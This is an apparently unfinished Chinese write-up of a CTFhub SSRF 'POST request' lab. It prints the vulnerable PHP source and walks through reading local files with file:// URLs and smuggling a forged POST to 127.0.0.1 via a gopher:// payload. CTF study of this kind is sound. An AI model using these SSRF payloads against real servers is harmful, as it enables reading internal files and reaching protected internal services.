CTFhub-ssrf-POST请求
解题
进入靶场,首先看到的是一片空白,没有任何返回,甚至看源码里面也没有任何东西
使用dirsearch扫描,扫出了一个文件/index.php 还有一个flag.php,我是在网上看WP才知道有这个文件,看了很多篇WP都没有说这个文件怎么来的,只是直接说发现了这个文件
现在先来看一看这两个文件吧 首先是flag.php文件,我们让url=127.0.0.1/flag.php,通过内网来访问就能直接访问到了,访问后是一个方框
再看源码发现,需要用post传输一个key,传到/flag.php
那我们返回去把key放在里面传送,发现必须通过127.0.0.1的路径传输 先通过file协议看一看flag.php的源码吧,在这里我同时把index源码也放上去了,一起分析
url=file:///var/www/html/flag.php url=file:///var/www/html/index.php
\\flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
\\index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
首先分析一下flag.php文件,它是希望我们通过127.0.0.1的ip地址向它传输那个key值,它首先会通过**$_SERVER[“REMOTE_ADDR”]**来获取我们的ip地址。
再看一下index.php,这里是用了curl函数来获取并且输出数据,curl可以支持的伪协议有很多,gopher,file,dict,http/s
那么我们可以通过gopher协议,向flag.php传一个post报文,报文里面包含有key,大概内容为 url=gopher://127.0.0.1:80/_POST报文内容 这样我们就可以通过伪造127.0.0.1的ip来上传key
首先先来构造POST
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=51457bb0a50c1eb2c92dcc3ec3c2cc13
POST报文中必须包含Host Content-Length Content_Type后面加上我们想传输的数据 在POST后接上/flag.php,代表着我们想把数据传输的这个目录里去
这里我们报文内容显示在url上输入,被解码或保存到curl里面,再通过curl输出跳转,又解码了一次,所以我们要对POST报文两次url编码
在第一次编码要把%0A全部改成%0D0A,%0A是在linux系统中中代表换行符,在windos中是%0D0A代表换行符,但是网上的编码器大都是编码的%0A,所以我们需要改成windos能够识别的
未完待续
|